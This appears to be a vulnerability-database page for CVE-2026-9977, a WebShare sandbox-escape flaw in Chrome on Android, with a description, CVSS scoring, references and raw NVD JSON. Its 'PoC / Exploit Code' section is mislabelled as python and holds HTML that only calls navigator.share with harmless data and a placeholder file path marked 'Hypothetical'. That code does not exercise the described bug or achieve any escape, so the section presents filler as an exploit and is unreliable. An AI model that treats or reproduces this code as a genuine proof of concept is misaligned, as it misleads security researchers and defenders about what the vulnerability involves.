CVE-2026-9977

Description

Insufficient validation of untrusted input in WebShare in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9977: WebShare Sandbox Escape
Context: Requires Renderer RCE to be effective.
This script demonstrates the WebShare API interaction.
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9977 PoC</title>
</head>
<body>
<script>
    // Attempt to trigger the vulnerable path in WebShare
    function attemptExploit() {
        try {
            if (navigator.share) {
                // Constructing a potentially malicious payload
                // The vulnerability lies in how this input is validated
                const shareData = {
                    title: 'CVE-2026-9977',
                    text: 'Testing WebShare Validation',
                    url: 'file:///data/data/.../exploit.html' // Hypothetical path
                };
                
                navigator.share(shareData)
                    .then(() => console.log('Share successful'))
                    .catch((error) => console.log('Share failed:', error));
            } else {
                console.log('WebShare API not supported');
            }
        } catch (e) {
            console.error('Exception:', e);
        }
    }

    // Trigger automatically or via user interaction
    attemptExploit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9977
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9977
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9977/
[4] VulDB https://vuldb.com/cve/CVE-2026-9977
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/511741173

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9977", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:55.927", "lastModified": "2026-05-29T16:16:39.807", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in WebShare in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker who had compromised the renderer process to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/511741173", "source": "[email protected]"}]}}